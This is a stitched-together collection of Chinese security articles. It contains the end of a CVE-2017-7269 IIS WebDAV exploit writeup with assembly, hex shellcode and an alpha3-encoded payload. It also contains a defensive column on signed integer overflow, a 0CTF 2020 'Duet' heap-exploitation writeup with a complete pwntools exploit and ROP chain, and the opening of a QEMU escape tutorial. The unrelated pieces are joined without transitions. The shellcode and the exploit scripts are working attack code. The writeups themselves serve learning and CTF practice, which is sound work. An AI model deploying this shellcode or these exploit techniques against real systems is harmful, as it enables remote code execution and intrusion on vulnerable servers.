这样一来,我们只需要获取到栈上创建的IEcb 对象并且构造对虚函数的调用即可.
最后会保存到这个位置
那么难点在于,在跳到ShellCode 的时候,原堆栈已经不再ESP 和EBP 寄存器中保存
这种情况需要用到TEB 结构来获取栈信息,在TEB+4 的位置保存了栈顶的地址
于是通过栈顶与目的对象的偏移计算便可以得到该对象,下面是汇编代码
mov ecx,fs:[18h]
mov ecx,[ecx+4]
sub ecx,340h
mov ecx,[ecx]
获取到对象之后,再去得到对象的虚函数入口点
mov eax,[ecx]
mov eax,[eax+0A0h]
接下来就是函数调用构造
push edi
push 13
add edi,14;
push edi
push 84
call eax
字符串和ShellCode 保存在一起,于是还需要通过寻址的方式找到字符串
call 0
pop esi
mov edi,esi;
add edi,11h; // 11h 后面就是字符串
组合所有的ShellCode ,建议在VC++ 6 下编译
**asm { int 3 // for debug mov ecx,fs:[18h] mov ecx,[ecx+4] sub ecx,340h mov ecx,[ecx] mov eax,[ecx] mov eax,[eax+0A0h] push ecx push 200 call address }; address: **asm {
pop esi
mov edi,esi;
add edi,11h;
push edi
push 13
add edi,14;
push edi
push 84
call eax
// 下面的字符串需要手动构造
//db "CVE-2017-7269\0"
//db "Content-Type: text/html\r\nContent-Length:31 \r\n\r\n<body>CVE-2017-7269 Vuln</body>\0"
};
最终处理的ShellCode 如下:
"\xCC\x64\x8B\x0D\x18\x00\x00\x00\x8B\x49\x04\x81\xE9\x40\x03\x00\x00\x8B\x09\x8B\x01\x8B\x80\xA0\x00\x00\x00\x51\x68\xC8\x00\x00\x00\xE8\x00\x00\x00\x00\x5E\x8B\xFE\x83\xC7\x11\x57\x6A\x0D\x83\xC7\x0E\x57\x6A\x54\xFF\xD0CVE-2017-7269\0Content-Type: text/html\r\nContent-Length:26 \r\n\r\nHHIT CVE-2017-7269 Success\0"
最后使用Unicode 编码,命令如下:
alpha3.exe --nocompress --uppercase --unicode esi
得到最终ShellCode
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397N10WRJLMSSI7LNR72JPTKOXPQ3PV0ENM02NPNQNWNMNWOBNVP9KPOS2O2NT4S52N44NMB4RYD0C5OJMPBTQURX44NORH2TRMBLLMKZPCRORNSDQU2N2TNMPL1URN2GT4S8OJOBOFMPLMKZLMLJOXOX1924MPOSPV0ENMNRP0NQNWNMOGNROFP9O01CRU3333RET3SCM0M0A
-- HT team. | 社区文章 |
# 【缺陷周话】第17期：有符号整数溢出
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、有符号整数溢出
C/C++中的整数类型分为有符号整数和无符号整数，其中有符号整数的最高位表示符号（正或负），其余位表示数值大小，而无符号整数则所有位都用于表示数值大小。有符号整数的取值范围为[−2n−1,
2n−1−1]，当有符号整数的值超出了有符号整数的取值范围时就会出现整数溢出，导致有符号整数溢出的重要原因之一是有符号整数的运算操作不当，常见运算
“+”、”-“、 “*”、 “/”、 “%”、 “++”、 “–” 等等，如果没有对值的范围进行判断和限制，很容易导致有符号整数溢出问题。
## 2、 有符号整数溢出的危害
有符号整数溢出将会产生数值错误，依据对错误的数值使用的位置不同（如错误的数据用于内存操作、又或者错误的数值导致循环恒为真等），将可能导致不同的安全问题，包括拒绝服务攻击、内存破坏等。
CVE中有大量与之相关的漏洞信息，仅2018年1月至12月，CVE中就有605条相关漏洞信息。部分漏洞如下：
CVE 编号 | 概述
---|---
CVE-2018-1000876 | binutils 在 2.32 及更早版本中包含一个整数溢出漏洞，攻击成功后导致任意代码执行，这个漏洞在
3a551c7a1b80fca579461774860574eabfd7f18f 修复。
CVE-2018-1000098 | teluu pjsip 2.7.1 及更低版本在 pjmedia sdp
解析中包含一个可能导致崩溃的整数溢出漏洞。这种攻击可以通过发送一条精心设计的消息来加以利用。该漏洞似乎已在 2.7.2 中修复。
CVE-2018-1000524 | miniSphere 5.2.9 版本及更早版本中，mapengine.c 文件中的 layerresize()
函数包含一个整数溢出漏洞，该漏洞会导致拒绝服务攻击。该漏洞在5.0.3、5.1.5、5.2.10 及更高版本中修复。
CVE-2018-1000127 | memcached 1.4.37 以前的版本 items.c:item_free()
包含整数溢出漏洞，这可能导致数据损坏和死锁。此漏洞在 1.4.37 及更高版本中修复。
## 3、示例代码
本章节中所使用的示例代码来源于 Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE190_Integer_Overflow__int64_t_max_multiply_01.c。
### 3.1缺陷代码
在上述示例代码中，虽然在第28行通过 if() 语句保证了 data 的值不能小于等于0，但并没有对 data 值的上限进行限制，当第31行进行
data*2 运算后赋值给 result，超出 result 类型的最大值，从而导致有符号整数溢出问题。
使用360代码卫士对上述示例代码进行检测，可以检出“有符号整数溢出”缺陷，显示等级为高。如图1所示：
图1：有符号整数溢出的检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为： 在第31行通过 if() 语句对 data 的最大值进行限制，从而避免了在第33行进行 data*2
操作时产生有符号整数溢出。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“有符号整数溢出”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免有符号整数溢出
要避免有符号整数溢出，需要注意以下几点：
> （1）在进行有符号整数操作时，需对有符号数整数的取值范围进行有效判断；
>
> （2）对来自不可信源的有符号整数进行运算操作时，需要额外注意。
>
> （3）使用源代码静态分析工具进行自动化的检测，可以有效的发现源代码中的有符号整数溢出问题。 | 社区文章 |
# 2020 0CTF/TCTF quals Duet writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间参加2020 0CTF quals遇到的libc-2.29的菜单堆题目，用到了libc-2.29的small bin
attack、改global_max_fast、改top chunk、libc-2.29的迁栈，堆风水+迁栈搞得十分心累……
## 题目概要
libc-2.29 程序，只能使用calloc分配heap，只能同时有两个chunk，分配大小：0x80～0x400
有sandbox，只能ORW:
__ __ _____________ __ __ ___ ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/
=============== DEUT - 琴瑟和鸣 ===============
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019
0006: 0x15 0x0c 0x00 0x00000001 if (A == write) goto 0019
0007: 0x15 0x0b 0x00 0x00000003 if (A == close) goto 0019
0008: 0x15 0x0a 0x00 0x00000009 if (A == mmap) goto 0019
0009: 0x15 0x09 0x00 0x0000000a if (A == mprotect) goto 0019
0010: 0x15 0x08 0x00 0x0000000c if (A == brk) goto 0019
0011: 0x15 0x07 0x00 0x0000000f if (A == rt_sigreturn) goto 0019
0012: 0x15 0x06 0x00 0x0000003c if (A == exit) goto 0019
0013: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0019
0014: 0x15 0x00 0x05 0x00000002 if (A != open) goto 0020
0015: 0x20 0x00 0x00 0x0000001c A = flags >> 32 # open(filename, flags, mode)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000018 A = flags # open(filename, flags, mode)
0018: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
存在一次off-by-one的机会
int __usercall offbyone@<eax>(__int64 a1@<rbp>, _DWORD *a2@<rdi>)
{
char v2; // dl
int result; // eax
_BYTE *v4; // [rsp-10h] [rbp-10h]
__int64 v5; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v5 = a1;
if ( *a2 != 0x13377331 )
return puts("Amazing thing happens only once.");
*a2 = 0;
v4 = calloc(0x88uLL, 1uLL);
if ( !v4 )
_exit(-1);
printf("合: ", 1LL);
v2 = input_long();
result = (_DWORD)v4 + 0x88;
v4[0x88] = v2;
return result;
}
## global_max_fast
这是libc中的一个值，正常情况下是0x80，size小于等于这个值的bin被认为是fast
bin，如果可以把这个值改得很大，那么所有size的bin都被认为是fast bin。
## small bin attack
关键代码：
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
从small bin中取的时候会检查bck->fd != victim，这一点和libc-2.23中一样。
但是在取出来之后，如果该small bin链中还有chunk，并且对应的tcache链中没满，则会把small
bin链中剩下的chunk进行unlink解链并把它放到tcache中。
漏洞就在这里，在解链chunk放到tcache的过程中并没有检查chunk的正确性，如果我们可以对已经在该small
bin中某一个chunk进行写操作控制bk的话，就可以往任意地址上写一个main_arena范围的地址
bck = tc_victim->bk;
...
bck->fd = bin;
以本题为例，我们构造了一个长度为2的0xa0的small bin链，根据取small bin按FIFO的原则，改写链中第二个放入的small
bin的bk字段为global_max_fast-0x10，这样在取small
bin的时候就会向global_max_fast写入一个main_arena范围的地址，使得所有size的bin都是fast bin。
## 迁栈
然而在我们控了free_hook以后，我们发现libc-2.29中没有可以利用rdi控制rsp进行迁栈的gadget，所以使用了其它方法。`IO_wfile_sync`函数可以利用rdi控制rdx，函数`setcontext+0x35`处可以用rdx控rsp，两个搭配使用就可以进行迁栈。在`IO_wfile_sync+0x6d`处有`call
[r12+0x20]`，这里的r12也是可以用rdi控制的，所以可以利用这条指令调用`setcontext+0x35`，实现`free_hook ->
IO_wfile_sync -> setcontext+0x35`。
.text:0000000000089460 _IO_wfile_sync proc near ; DATA XREF: LOAD:0000000000010230↑o
.text:0000000000089460 ; __libc_IO_vtables:00000000001E5F00↓o ...
.text:0000000000089460
.text:0000000000089460 var_20 = qword ptr -20h
.text:0000000000089460
.text:0000000000089460 ; __unwind {
.text:0000000000089460 push r12
.text:0000000000089462 push rbp
.text:0000000000089463 push rbx
.text:0000000000089464 mov rbx, rdi
.text:0000000000089467 sub rsp, 10h
.text:000000000008946B mov rax, [rdi+0A0h]
.text:0000000000089472 mov rdx, [rax+20h]
.text:0000000000089476 mov rsi, [rax+18h]
.text:000000000008947A cmp rdx, rsi
.text:000000000008947D jbe short loc_894AD
.text:000000000008947F mov eax, [rdi+0C0h]
.text:0000000000089485 test eax, eax
.text:0000000000089487 jle loc_89590
.text:000000000008948D sub rdx, rsi
.text:0000000000089490 sar rdx, 2
.text:0000000000089494 call _IO_wdo_write
.text:0000000000089499 test eax, eax
.text:000000000008949B setnz al
.text:000000000008949E test al, al
.text:00000000000894A0 jnz loc_895AD
.text:00000000000894A6
.text:00000000000894A6 loc_894A6: ; CODE XREF: _IO_wfile_sync+147↓j
.text:00000000000894A6 mov rax, [rbx+0A0h]
.text:00000000000894AD
.text:00000000000894AD loc_894AD: ; CODE XREF: _IO_wfile_sync+1D↑j
.text:00000000000894AD mov rsi, [rax]
.text:00000000000894B0 mov rax, [rax+8]
.text:00000000000894B4 cmp rsi, rax
.text:00000000000894B7 jz short loc_89532
.text:00000000000894B9 sub rsi, rax
.text:00000000000894BC mov r12, [rbx+98h]
.text:00000000000894C3 sar rsi, 2
.text:00000000000894C7 mov rbp, rsi
.text:00000000000894CA mov rdi, r12
.text:00000000000894CD call qword ptr [r12+20h]
.text:0000000000055E35 setcontext + 0x35
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00
.text:0000000000055E7D ; __unwind {
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn
## 利用思路
1. 通过一次off-by-one的机会改0x200大小的chunk的size为0x2f0，利用这个overlap进行堆风水。
2. small_bin attack向global_max_fast写一个main_arena范围的地址，这样一来使得所有size的bin都是fast_bin，main_arena里每个位置上存储的就是对应size的fast_bin链的起始地址。
3. 利用第一步overlap的chunk改写main_arena对应位置的内容，在main_arena里构造一个fake_chunk和假的fast_bin链起始地址，这样就可以calloc到main_arena上。
4. free_hook-0xb68附近有可以利用的0x100作为size，把main_arena对应位置的值改到这里；在这里写一个fake top chunk size，改main_arena+96处即top chunk的指针到fake top chunk处，这样就可以calloc到libc上。（注意在修改top chunk有一些检查，需要`*(main_arena+0x78) == main_arena+0x60`）。
5. 用fake top chunk进行几次calloc就可以覆盖到free_hook，布好rop利用rdi进行迁栈就可以了。
## EXP
完整的exp如下：
#!/usr/bin/python
#coding=utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
qin = 0xb490e7
se = 0x9f91e7
if args.R:
p = remote('pwnable.org', 12356)
else:
p = process("./duet")
def Gong(ind, size, content = ''):
# Add
assert ind == 0 or ind == 1
p.sendlineafter(": ", "1")
if ind == 0:
p.sendlineafter("Instrument: ", p32(0xb490e7))
else:
p.sendlineafter("Instrument: ", p32(0x9f91e7))
assert 0x7f < size <= 0x400
p.sendlineafter("Duration: ", str(size))
p.sendafter("Score: ", content.ljust(size,'x00'))
def Shang(ind):
# Free
assert ind == 0 or ind == 1
p.sendlineafter(": ", "2")
if ind == 0:
p.sendlineafter("Instrument: ", p32(0xb490e7))
else:
p.sendlineafter("Instrument: ", p32(0x9f91e7))
def Jue(ind):
# Show (write)
assert ind == 0 or ind == 1
p.sendlineafter(": ", "3")
if ind == 0:
p.sendlineafter("Instrument: ", p32(0xb490e7))
else:
p.sendlineafter("Instrument: ", p32(0x9f91e7))
def Zhi(byte):
# calloc(0x88uLL, 1uLL) off-one-byte
p.sendlineafter(": ", "5")
assert 0 < byte < 256
p.sendline(str(byte))
fake_size = 0xe0
broken_chunk = 0x1f0
pad_chunk = 0x240
#gdb.attach(p,'c')
#pause()
for i in range(7):
Gong(0,broken_chunk)
Shang(0)
for i in range(7):
Gong(0,broken_chunk + fake_size + 0x10)
Shang(0)
for i in range(7):
Gong(0,0x1b0)
Shang(0)
for i in range(7):
Gong(0, 0xf0)
Shang(0)
for i in range(6):
Gong(0, 0x90)
Shang(0)
for i in range(6):
Gong(0, 0x80)
Shang(0)
for i in range(7):
Gong(0, pad_chunk)
Shang(0)
for i in range(7):
Gong(0,0x100)
Shang(0)
Gong(0,0x1b0)
Gong(1,0x80)
Shang(0)
Shang(1)
Gong(0,0x1b0-0xa0) # 0xa0 unsortedbin
Shang(0)
Gong(0,0x1b0)
Gong(1,broken_chunk)
Shang(0)
Gong(0,0x1b0-0x90) # 0x90 unsortedbin
Shang(0)
Gong(0,broken_chunk,p64(0)*(fake_size / 8 + 1) + p64(broken_chunk - fake_size + 1))
Zhi(fake_size + 0x11)
Shang(1)
Gong(1, 0x3f0,'x00'*0x48 + p64(0x401-0x50))
Shang(1)
Gong(1,pad_chunk,'x00'*0x1f8 + p64(0x201))
Shang(0)
Jue(1)
p.recvuntil(": ")
p.recvn(0x200)
heap = u64(p.recv(8))
main_arena = u64(p.recv(8))
main_arena -= 96
libc_base = main_arena - 0x10 - 0x1E4C30
global_max_fast = libc_base + 0x1e7600
free_hook = libc_base + 0x1E75A8
initial = free_hook - 0xb68
log.info('heap : %s' % hex(heap))
log.info('libc_base : %s' % hex(libc_base))
log.info('main_arena : %s' % hex(main_arena))
log.info('global_max_fast : %s' % hex(global_max_fast))
log.info('free_hook : %s' % hex(free_hook))
payload = 'x00'*0x48+p64(0xa1)+ p64(heap-1344)+p64(global_max_fast -0x10) # fake 0xa0 small chunk
payload += 'x00'*0x80 + p64(0xa0) +p64(0x110)
Gong(0, 0xf0, payload)
Shang(0)
Gong(0, 0x90)
log.info('global_max_fast changed')
Shang(0)
Shang(1)
payload = 'x00'*0x1f8 + p64(0xe1)
Gong(1,0x248,payload)
Shang(1)
payload = 'x00'*0x48 + p64(0x201)
Gong(0,0xd0,payload)
payload = p64(0) + p64(0x201) + p64(0) + p64(0x191) + p64(0) + p64(0x181) + p64(0) + p64(0x171) + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141)
payload += p64(0) + p64(0x131) + p64(0) + p64(0x121) + p64(0) + p64(0x111) + p64(0) + p64(0x101) + p64(0) + p64(0xf1)
Gong(1,0x1f0,payload.rjust(0xf0,'x00'))
Shang(1)
payload = 'x00'*0x1f8 + p64(0x91)
Gong(1,0x248,payload)
Shang(1)
Shang(0)
payload = 'x00'*0x1f8 + p64(0x91) + p64(0x111)
Gong(1,0x248,payload)
Shang(1)
Gong(0,0x80, 'x00'*0x48 + p64(0x81))
payload = 'x00'*0x1f8 + p64(0x111)
Gong(1,0x248,payload)
Shang(1)
Shang(0)
payload = 'x00'*0x1f8 + p64(0x111) + p64(main_arena + 64)
Gong(0,0x248,payload)
Gong(1,0x100, 'x00'*0x48 + p64(0x201) + 'x00'*0x70 + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141) + p64(0) + p64(0x131))
Shang(0)
payload = 'x00'*0x1f8 + p64(0xe1)
Gong(0,0x248,payload)
Shang(0)
Shang(1)
top_chunk = initial + 0x10
payload = 'x00'*0x10 + p64(top_chunk) + 'x00'*0xc8 + p64(main_arena + 304) + p64(304*2 + 1)
Gong(0,0x100,payload)
payload = 'x00'*0x18 + p64(0x21)
Gong(1,304*2-0x10,payload)
Shang(0)
pad = main_arena + 0x60
payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3 + p64(free_hook-0xb68-1) + p64(pad)*22 + p64(0x21)
Gong(0,0x100,payload)
Shang(0)
Shang(1)
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x000000000010CF7F
flag = free_hook + 8
read_addr = libc_base + 0x10CF70
write_addr = libc_base + 0x10D010
ropchain = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(4) + p64(pop_rax) + p64(2) + p64(syscall)
ropchain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x20) + p64(read_addr)
ropchain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x20) + p64(write_addr)
Gong(0,0xf8,'x00' + p64(0) + p64(0x21001))
payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3
Gong(1,0x100,payload)
Shang(1)
Gong(1,0x400,'aaaaaaaa')
Shang(1)
Gong(1,0x400,'aaaaaaaa')
Shang(1)
setcontext = libc_base + 0x55E35
tar = free_hook - 0x328
rdx = tar + 0xe0-0xa0 -8
tar_rsp = tar + 0xe0
io_wfile_sync = 0x89460 + libc_base
payload = p64(0) + p64(1) + p64(2) + p64(rdx)*4 + 'x00'*0x60 + p64(tar+0xb0) # 0xa0
payload += p64(tar) + p64(0) # 0xb0
payload += 'x00'*0x20 + p64(setcontext) + p64(tar_rsp + 8) #0xe0
payload += ropchain
payload = payload.ljust(0x328,'x00') + p64(io_wfile_sync) + './flagx00'
Gong(1,0x400,payload)
Shang(1)
p.interactive() | 社区文章 |
# QEMU逃逸初探（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 00 前言
在 HWS2021 入营选拔比赛的时候，遇到了一道 QEMU 逃逸的题目，那个时候就直接莽上去分析了一通，东拼西凑的把 EXP
写了出来。但实际上并没有怎么理解其具体是怎么实现的，有些操作这样做背后的原理是什么。而通常我对于比赛过程中学习到的内容，都会通过写详细的 Writeup
的这个过程来系统的学习。但是 QEMU 逃逸这部分的内容实在是比较复杂，而且涉及到了很多我完全没有了解过的知识，所以一直鸽到了现在。
里面的大多数内容和图片，都是我从看到的博客或者维基百科中整理收集的，具体链接可以看下文中的参考资料，非常感谢这些内容的制作者为我们初学者提供了学习的平台和资料。
## 01 基础知识
### 1.1 QEMU
简单的来说，QEMU 就是一个开源的模拟器和虚拟机，通过动态的二进制转换来模拟 CPU。
**1.1.1 QEMU 有多种运行的模式**
* User mode：用户模式，在这种模式下，QEMU 运行某个单一的程序，并且适配其的系统调用。通常我们遇到的异构 PWN 题都会使用这种模式，这种模式可以简单轻便的模拟出其他架构程序的执行过程，使做题人的重心倾斜于分析异构的题目文件上，而不是转换过程中。
* System mode：系统模式，在这种模式下，QEMU 可以模拟出一个完整的计算机系统。通常我们遇到的 QEMU 逃逸的题目都会使用这种模式，并且把漏洞点以有漏洞的设备的形式出现，通常漏洞会有数组越界、栈溢出、任意调用指针函数、函数重入等漏洞。
* KVM Hosting
* Xen Hosting
**1.1.2 QEMU 的内存结构**
qemu 使用 mmap 为虚拟机申请出相应大小的内存，当做虚拟机的物理内存，且这部分内存没有执行权限（PROT_EXEC）
**1.1.3 QEMU 的地址翻译**
在 QEMU 中存在两个转换层，分别是：
* 从用户虚拟地址到用户物理地址：这一层转换是模拟真实设备中所需要的虚拟地址和物理地址而存在的，所以我们也可以通过分析转换规则，编写程序来模拟这一层转换。
* 从用户物理地址到 QEMU 的虚拟地址空间：这一层是把用户的物理地址转换为 QEMU 上使用 mmap 申请出的地址空间，这部分空间的内容与用户的物理地址逐一对应，所以我们只需要知道 QEMU 上使用 mmap 申请出的地址空间的初始地址，再加上用户物理地址，就可以得到此地址对应的在 QEMU 中的虚拟地址。
在 x64 系统上，虚拟地址由 page offset (bits 0-11) 和 page number 组成，/proc/$pid/pagemap
这个文件中储存着此进程的页表，让用户空间进程可以找出每个虚拟页面映射到哪个物理帧（需要 CAP_SYS_ADMIN 权限），它包含一个 64
位的值，包含以下的数据。
* Bits 0-54 page frame number (PFN) if present
* Bits 0-4 swap type if swapped
* Bits 5-54 swap offset if swapped
* Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
* Bit 56 page exclusively mapped (since 4.2)
* Bits 57-60 zero
* Bit 61 page is file-page or shared-anon (since 3.5)
* Bit 62 page swapped
* Bit 63 page present
以下程序通过读取这个文件实现了一个转换过程
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
值得注意的是，在虚拟空间中连续的一段空间，在物理空间中并不一定连续，实际上，这部分的虚拟地址空间会以页为单位被分隔成多个物理内存碎片。在某些情况下，QEMU
中的虚拟设备对物理内存的复制可能超过一页（0x1000 字节），这时候复制出物理内存中超过这一页的内容就与虚拟内存中超过这一页的内容无法对应。
### 1.2 PCI 设备地址空间
**1.2.1 PCI 配置空间**
PCI 设备都有一个 PCI 配置空间来配置 PCI 设备，其中包含了关于 PCI 设备的特定信息。
其中 BAR（BASE Address Registers）用来确定设备所需要使用的内存和 I/O 空间的大小，也可以用来存放设备寄存器的地址。
设备可以申请两类的地址空间，Memory Space 和 I/O Space，以下会进行介绍。
**1.2.2 Memory Space 类型（MMIO）**
内存和 I/O 设备共享同一个地址空间。 MMIO 是应用得最为广泛的一种 I/O 方法，它使用相同的地址总线来处理内存和 I/O 设备，I/O
设备的内存和寄存器被映射到与之相关联的地址。当 CPU 访问某个内存地址时，它可能是物理内存，也可以是某个 I/O 设备的内存，用于访问内存的 CPU
指令也可来访问 I/O 设备。每个 I/O 设备监视 CPU 的地址总线，一旦 CPU
访问分配给它的地址，它就做出响应，将数据总线连接到需要访问的设备硬件寄存器。为了容纳 I/O 设备，CPU 必须预留给 I/O
一个地址区域，该地址区域不能给物理内存使用。
* Bit 0：Region Type，总是为 0，用于区分此类型为 Memory
* Bits 2-1：Locatable，为 0 时表示采用 32 位地址，为 2 时表示采用 64 位地址，为 1 时表示区间大小小于 1MB
* Bit 3：Prefetchable，为 0 时表示关闭预取，为 1 时表示开启预取
* Bits 31-4：Base Address，以 16 字节对齐基址
**1.2.3 I/O Space 类型（PMIO）**
在 PMIO 中，内存和 I/O 设备有各自的地址空间。 端口映射 I/O 通常使用一种特殊的 CPU 指令，专门执行 I/O 操作。在 Intel
的微处理器中，使用的指令是 IN 和 OUT。这些指令可以读/写 1,2,4 个字节（例如：outb, outw, outl）到 IO 设备上。I/O
设备有一个与内存不同的地址空间，为了实现地址空间的隔离，要么在 CPU 物理接口上增加一个 I/O 引脚，要么增加一条专用的 I/O 总线。由于 I/O
地址空间与内存地址空间是隔离的，所以有时将 PMIO 称为被隔离的 IO(Isolated I/O)。
* Bit 0：Region Type，总是为 1，用于区分此类型为 I/O
* Bit 1：Reserved
* Bits 31-2：Base Address，以 4 字节对齐基址
**1.2.4 PCI 设备配置的地址**
设备地址的格式可以参考下图，这个地址的用处在下文 **QEMU 中如何初始化 PCI 设备** 处会做出解释
我们可以通过以下代码进行计算
0x80000000 | bus << 16 | device << 11 | function << 8 | offset
### 1.3 QEMU 中 的 PCI 设备
**1.3.1 QEMU 中如何初始化 PCI 设备**
初始化过程非常复杂，这里只简单的阐述，以下几个是初始化过程中的重要函数，但是想要深入的了解这个过程，仍然需要尝试着对这个过程进行下断调试。
**do_pci_register_device**
对设备实例对象进行设置。
* 做一些基础的检查，是否存在冲突等，如果检查不通过则报错返回
* 调用 pci_config_alloc(pci_dev) 来分配配置空间，PCI 设备为 256B，PCIe 为 4096B
* 调用 pci_config_set_vendor_id / pci_config_set_device_id / pci_config_set_revision / pci_config_set_revision 来初始化设备配置
* 设置 pci_dev->config_read 和 pci_dev->config_write ，如果在类构造函数中设置了则用设置的，否则使用默认函数 pci_default_read_config / pci_default_write_config
**pci_register_bar**
* 将 BAR 中的 Base Address 设置为全 FF
**pci_do_device_reset**
* 对设备进行清理和设置
**pci_default_read_config**
* 读取 Config，从 cpu->kvm_run 中取出 io 信息
**pci_default_write_config**
* 设置 Config，且设置的值通过以下变换
其中 wmask 取决于 size ，w1cmask 是保证对应位置为 1
uint64_t wmask = ~(size - 1)
pci_set_long(pci_dev->wmask + addr, wmask & 0xffffffff);
for (i = 0; i < l; val >>= 8, ++i) {
uint8_t wmask = d->wmask[addr + i];
uint8_t w1cmask = d->w1cmask[addr + i];
assert(!(wmask & w1cmask));
d->config[addr + i] = (d->config[addr + i] & ~wmask) | (val & wmask);
d->config[addr + i] &= ~(val & w1cmask); /* W1C: Write 1 to Clear */
}
**pci_update_mappings**
遍历设备的 BAR，如果发现 BAR 中已经填写了不同于 r->addr 的地址，则说明新的地址已经更新，则会更新并重新注册地址。
**1.3.2 配置的读取和写入**
一般在软件实现上使用两种方法：一种是通过 I/O 地址 PCI CONFIG_ADDRESS（0xCF8）和 PCI
